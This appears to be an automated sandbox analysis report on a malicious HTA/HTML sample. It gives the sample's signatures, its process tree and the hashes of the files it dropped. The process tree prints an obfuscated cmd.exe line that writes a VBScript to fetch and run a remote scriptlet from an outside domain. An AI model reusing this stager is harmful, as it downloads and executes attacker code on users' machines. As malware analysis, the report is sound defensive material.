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Resubmissions

23/01/2024, 09:55

240123-lx88nsaaf2 8

22/01/2024, 16:15

240122-tqdr7aahc3 8

Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    23/01/2024, 09:55

General

  • Target

    2d76ec94e8679b9c9d2eb0f0819c9a6d42ba9bcfa423416885dfc2b933735987.hta.html

  • Size

    7KB

  • MD5

    f3ab9f8fe8995462c3245f10ed76ae4f

  • SHA1

    6aa8e54760bcc9aa7402e75d7cb33011e0673f7f

  • SHA256

    2d76ec94e8679b9c9d2eb0f0819c9a6d42ba9bcfa423416885dfc2b933735987

  • SHA512

    68d097848803e6c9f009ee41da373b5ce1136e40c750c0c704a137ca1a11bd483dc1f06089e9eb9310b47ee7232ac6bc8ad6c302bbe064765f266efef579848b

  • SSDEEP

    192:CzHyJ1AwYaKyJ0VmW98+n6z39EPHzyKQSOOUHdLqmTlphHBLmBdexU+4ur6kUjRd:CzyJ1pROT

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\AppData\Local\Temp\2d76ec94e8679b9c9d2eb0f0819c9a6d42ba9bcfa423416885dfc2b933735987.hta.html
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2236
    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2236 CREDAT:275457 /prefetch:2
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2840
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /V/D/c EcHo Z5ceEsS49="." : FunctIon Tji57(H27N20):NiF24 = Array(":","t","r","c","1"):Tji57 = NiF24(H27N20):end function :: fm6fciL34 = "S"+ Tji57(3) +"rip"+ Tji57(1) + Tji57(0) + "hT"+ Tji57(1) +"ps://contdlk"+Z5ceEsS49+"bounceme"+Z5ceEsS49+"net/g1":eval("Ge"+ Tji57(1) +"Obje"+ Tji57(3)+ Tji57(1) +"(fm6fciL34)") > nul > C:\Users\Public\^dmpRBh785.vbs&c:\\windows\\system32\\cmd.exe /c start C:\\Users\\Public\\dmpRBh785.vbs
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2764
        • \??\c:\windows\SysWOW64\cmd.exe
          c:\\windows\\system32\\cmd.exe /c start C:\\Users\\Public\\dmpRBh785.vbs
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2756
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Public\dmpRBh785.vbs"
            5⤵
            • Blocklisted process makes network request
            • Modifies system certificate store
            PID:2676

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC

    Filesize

    914B

    MD5

    e4a68ac854ac5242460afd72481b2a44

    SHA1

    df3c24f9bfd666761b268073fe06d1cc8d4f82a4

    SHA256

    cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f

    SHA512

    5622207e1ba285f172756f6019af92ac808ed63286e24dfecc1e79873fb5d140f1ceb7133f2476e89a5f75f711f9813a9fbb8fd5287f64adfdcc53b864f9bdc5

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

    Filesize

    1KB

    MD5

    a266bb7dcc38a562631361bbf61dd11b

    SHA1

    3b1efd3a66ea28b16697394703a72ca340a05bd5

    SHA256

    df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

    SHA512

    0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC

    Filesize

    252B

    MD5

    796328dd251a50d733f86c5443acd277

    SHA1

    9ce7a6e6d771065b975553ce9b3b7897792506f5

    SHA256

    ec6ccda75d00a9581c13b6651a33dee8d6e122f1c647d2f856c5834905f0599b

    SHA512

    6ddc3cabcdc774d5f59a66119eab0821d307c1d6477757cfce9e5e4c44739ce1496d799ee42f9f0aa0ff02842656c2f55f888ca71c930731cdf3f49344f19572

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    c38297afa33483947804f67fa5a34ddf

    SHA1

    c296a71243aabc7d70455138678d55b95a29a23e

    SHA256

    0b28b4489e9b7098d44803e71b28880ac789fb765daee42b8389610bdef558c7

    SHA512

    0985b06324c884cdfb1a46cdb3c242629cac2148fdd2b412f5706642dc959f4dc3c42374677947ec7e09090523a16d20d8c0ccbc1a9a1e3153349949acdc7dcb

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    7cfa0a09bd6cc40cd310c972d18587b9

    SHA1

    c05cd7a8bea21a1125debb915fd4e74cab0a2fb6

    SHA256

    5f26224d044e297ebda777ff6afdf5d88c81b57cb3dd2818dea00c507d503859

    SHA512

    a7949fb3daa693e86d2c8470be043c32103aa435e989545bb79ae5899bf3d820eb5818cfdb02f4c8921f1ce2687bf05510c1ebcde5e0f8fb95cd88b80895184e

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    eba23a6c1190f115214650a2ac189e81

    SHA1

    d464a6f8646138c73d757b991763b9a78125092c

    SHA256

    be69efaa8993d529fdaa83ca574d1267568ac4e8bdced8e89fe6c1bdcd648c30

    SHA512

    a458e9cdd3dfb96c3930cb57eed7ad516b1385f07bc96883fa54f66eee4e1e1a2a2cf94f1f74532a7c2a8c2e42e1601066f651e84cc5074fd84df620665e5f64

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    18e3ed868b404f84177cb7127a135140

    SHA1

    ba9bcd386ddf694b84360af4d0dac95643916795

    SHA256

    bd91c5d942faf5e0f7e4b9625b8147e71f354f9901a06d19f27034578039c73c

    SHA512

    b8f814a254c0aed79d6edbe4e1b15801fd9a20fb6831a303a7b62fc2519370eb8117586edad622ffa4128951068e71d1858a3eba7bf15d2bb3b11ab79f7206dc

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    799b1d2dda9883a713b7738272071e11

    SHA1

    32d918afafe052b97af9d523f42d4810826303d9

    SHA256

    65d53ed92319dced13f84991ce3c452bd04e86704374300c5774d0e53d53f190

    SHA512

    105fa1e808401abc1a54f8ca1ae902b7f477b399458c6b28d9ba1276d06c79b9363666589feef1fa13153082316360ab9b7f482f339cf1b316f4b59db539b942

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    f4b24b50677b133e5887cbae6a61dd28

    SHA1

    a16673dcbfea86af008aa8c6694db584e7fde953

    SHA256

    f5e96da1739dcf5128b2961e4c47a73f56acd5e5ba6fd03404d7b76ed7fdf411

    SHA512

    55230e181e43d55e4da52c2c8f75d183d1d2acc6a6f874e6fd0f490189c18fe55bd797830cf0aeac24b5d1bcc82fe7daa44ab10d1bb3e32c80304c0084e6393d

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    ae2634f2a685eb835f109750b363dbbd

    SHA1

    922d4adde6eeb1c82761dfdac279078fbfd0c8ae

    SHA256

    ab29a09e9b2857a0e1803c41ee194bd9d2f32f510aa9d687a1699782e796ecef

    SHA512

    38971f2d2e06d1a4894c1412d16c0732158a2a76543f563e7de49786c0df50d813a5dac30df7233ca30c9849c7fe4e5d3cb47dca5f6d78f3f5ff1ce3c5b8b2f7

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    ca24fbe6638a2fcbe6b1120b9ae69a8c

    SHA1

    42ccc1528e4b3179616882fec121bbdc319c4fc1

    SHA256

    88483d35bbf73ef5ebc9d495077203ceb9ff9ceff86253901e2e66fbdb6be43a

    SHA512

    fc3360a6710e2bcb4d6741c4ca55e6161b737a3ff6e5a74823e43987210b39bdbe01c09d27c4b06b6a9e0d1debbb89969503c7054a19acc73c9af58e7864cd1d

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    d11911ee2bd9616a4d296af4f9df9dac

    SHA1

    014c510122fe948de796507abfa06493e1e28a51

    SHA256

    dd23942e38a8b2fb20955410dcdb7476a23dc789f5bb879e007cbb71592bb797

    SHA512

    5958ef82b03921fbfa2b62644893796264da16ef0f04f13b3439e9c8dfb4087d8ef844eb3628ee98a95c743f7755d222eecf1531d8fdfe024f962f8e213c9661

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    96a61810a2954d43112fbd2355f1e1ab

    SHA1

    c2fdc5cbdabff9a545695591a39c56ba6445deae

    SHA256

    3080808c609bbfeb0005337796dd385e8573d828474648ab15d2750dc06bcf71

    SHA512

    9586f83d483e8a01c55377a49228f873cb7381400e697118ebdd9a9105436d96a162e72bbea68e5422771ee18d9fd9c59f659176691ed24f9967285588160783

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    e7a54d0f63071af98d56c5ea411f16af

    SHA1

    eda5b0ea8a5ae5487597cd06fe6783dcd55ce02d

    SHA256

    fe580fd1062cf659395136adeaa1cd5256cbbdf9f66cd4207db8abef19711805

    SHA512

    db87412f06b25bbf2142f7e65230423e14935b6361a7ef72d50b7cadab254bc735339fa598cc71e4462213ae63b612efefbc683c15147c09c3d8a26cc053df9a

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    166dc8045e77e75e6151a66cd1501587

    SHA1

    e1cdb80fa379ce777a4f381643d458200637e6bd

    SHA256

    3d1bf1cd29d98cb8012561655577777804208aad39cc1f8c4d8b90f60b5d0319

    SHA512

    545cecc287aec41fc8dcd643c041d2ed609444ae26d4522ea63b64dd59503fb0aa2265243e9df4d80e9da38b83d4a3d25644b794462f1712f055f18662fcd35d

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    7dfae5c8057bb236e2227570c4049473

    SHA1

    53d69de52ed05257ec66bf6c9d7db6895ecaffa3

    SHA256

    6b9abaf145b11fb073ad069e7c46270636f912025814f67fed19bda5487651e6

    SHA512

    6b0c89b1893472948ae100bc7073264ebc7d8a4b398afab7b5c44e1f16fb7ba972a41283c213c59fa1d6926585ec45d0845ca2345e958e6bf418cb8bb5bc8623

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    3e5ded9247986c3eda151c05e890ee06

    SHA1

    cafdd80b8bd2607a4dfa886174a0ffd15665e24a

    SHA256

    8bd0b8cd94cb3a30172dbf9b32bb3bd1802d7df1af5923c84bc47f528a83f414

    SHA512

    709cdc368f7b2a2dd15a5d69a2c70c55160b7e5bd14fa05c59543a38f85e941cf2889c5c1834927decde767c29e2dd0c75a77905aa78bf6486000e848a7e2642

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    125dcd336916c6714556f4340ab75fac

    SHA1

    86e58605168323e172353c797b73b04a75ecc49b

    SHA256

    863009ad7c9dd47a056dddd0991d5bb59ff378f30372816e1bd18bf49ac5ed7f

    SHA512

    3e92bcd07daf50a87b64794481fbebafd1e09c6fcc3ed6f190a4c8a2087f3e8a1bfb62626858b65b0db963633fdb3a26ac2ef8bbafff3d3b21789e5012f48dde

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    4039bfae5cea02881de5d05a0d730f35

    SHA1

    72da55ffd9ea4a3ce9424c3125e95b5a64780bfd

    SHA256

    d9d3840d253ec5a5185bd7546fb5802382c6c0f5f2cfba2ad921d567da368ab7

    SHA512

    51d465236671363ab5b51b2de35bb75e1b603c66279cf986bebeaf850edf5244c4dd052b30903ff3a66f582a3dc6ce4d76a0d7a7a42b65c32fbdbf2a54482fe8

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    773abc9c0aaf8d2618082012e2658914

    SHA1

    27ba56a9f54df0ff364ccea7e1d0bad0b830cb4a

    SHA256

    8d5ef440b7721639f85870efb4979d3fe6b84819bf03af290b89aebce41fc38a

    SHA512

    12cc260cf90d5e9f495f01d425b7978a7a57dff9ec6dd4429b1a31376ce29aad2fa70edfb4123d03b20b250a58fe683cf23a1a1f1cecd05461bdc8cc34393464

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    97c1c3300561f8762fd258db845d2228

    SHA1

    f1b04cc7e517a4f6d2b375d48d029d9e99212c12

    SHA256

    5aa4c4df8fc2215678c587400e15f7bf175101d0124390516f21527f207fd727

    SHA512

    82a0118f4620339a4470f95e5f7aa8efd0b974f469ec72334dad4a1e2009e3e9e1cd5df4ae599c4d0e0e02d19c3b7116cddcaa18a092e6ed0da46e41b6ccf824

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    3981d78abf70a2ca8e800cb46c30eb6a

    SHA1

    13cbddf022f7f63e2e02fc81ec90dec505a208d0

    SHA256

    c7bcaf0e192f0f887eb41efd9ec198d3e482564cda6eaedf279feb6748352d3a

    SHA512

    b8dff29aeb3b4366cacc3906752e6a29b87d81b887016d49a4667f0bf3fcbefc4c8b6221e01cf1bd2c6a08ed229835daa36b1f2e8c8de06b6ea15ee6ca322c99

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    906b86edb7c18cdd513f5f276c12ab8e

    SHA1

    f769da38a400ee553f74c2c94248ccfcbf3aee02

    SHA256

    f6e4dd4c960965d3ef972f2a5984a8e537d7a0380393ac93ecc6ea8fa533d342

    SHA512

    2152816ef128174aa8fd407b32279922a0bb9aec837a5b5a26ece28585c8a4cab9641f7a6df7d94ceb2f2a2a6af08229f86754f6f369800ad4b4a221bb7f441f

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    8b8219f9af1179145e849631b7f3122f

    SHA1

    0097252c88a416588f4fc51b2e362795e33890f0

    SHA256

    92a4f43e9a08f1cf33a4dd1ee5d2f0d4692b7e331949632894e647ed79328228

    SHA512

    fbffb245258e578d41f3531ed56addae2f22867c0d0c81db910e9c9717cccfa721cd1e15d01a75db9c1d62af8eb569c018430664e40acf8fa4ab1190c38c7ec6

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    2d87ea0afc491a326766c38998a84daa

    SHA1

    ae255b762f82753c470623e630691fda64a90e57

    SHA256

    8408cc2f69d07af2ce4c5e35a2e82ed6602a84b8587b9a7f5d4863495f915f3d

    SHA512

    9f23cfcf07afaaed0856f9cfe76f669e2e7c4294e3cab3f8c4d16914d5299936736187cbe296b1415d7934aa6c0a317eaaa20f721904df9c5add225704bc1f0f

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    0e310a80957bb77fe140ce7c7fb89d79

    SHA1

    430d1d99aee18fdcbec58125f4a057dca9e63f3a

    SHA256

    2938f3bce640f549bc6b4504ebe4da6867e4979e83320887717af6310dbfe2df

    SHA512

    2f39747342220fe2c6a9fa8558e27ca4ed7ea0274d25c4f58947302a9c5ae78a9ad0a53d68786a43f201bb98b7c024506b306ff46d14e1306ba20ab701a5739c

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

    Filesize

    242B

    MD5

    5567c4ec2b2753b70ac462f77d825d88

    SHA1

    36b90d1d24d301bf7b380616c08ecf1a7ac11602

    SHA256

    39dff64473450212cf34d7421208b3f0663470b807caa03fbd36aa27b742b57f

    SHA512

    b027e4f9555a7afadc64cb0fb7f3cfe8bddca15e9a22deafd449643633543df0102dbb999620351f57e1d7772e6ddbb3ee552a4f378b05fd5bd53af46c4acc45

  • C:\Users\Admin\AppData\Local\Temp\Cab92C0.tmp

    Filesize

    65KB

    MD5

    ac05d27423a85adc1622c714f2cb6184

    SHA1

    b0fe2b1abddb97837ea0195be70ab2ff14d43198

    SHA256

    c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

    SHA512

    6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

  • C:\Users\Admin\AppData\Local\Temp\Tar938E.tmp

    Filesize

    171KB

    MD5

    9c0c641c06238516f27941aa1166d427

    SHA1

    64cd549fb8cf014fcd9312aa7a5b023847b6c977

    SHA256

    4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

    SHA512

    936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

  • C:\Users\Public\dmpRBh785.vbs

    Filesize

    306B

    MD5

    154b54da0532f06d78997442ad648d45

    SHA1

    1087a477ec4815eade97d338743ce63361e5f09b

    SHA256

    4f72eeaf5d050f5077a82782d7dfbceed38448b1569836f8b0550dcd3080574d

    SHA512

    64bc9c808251aa272352cef3d74620974f962fbc5d511474a8f8ea0393aa43a76a0ebf8b3877d5f3ccaa4b9c7e25c98793b0cad8928d68cc4a0a9bcc99c5fe2c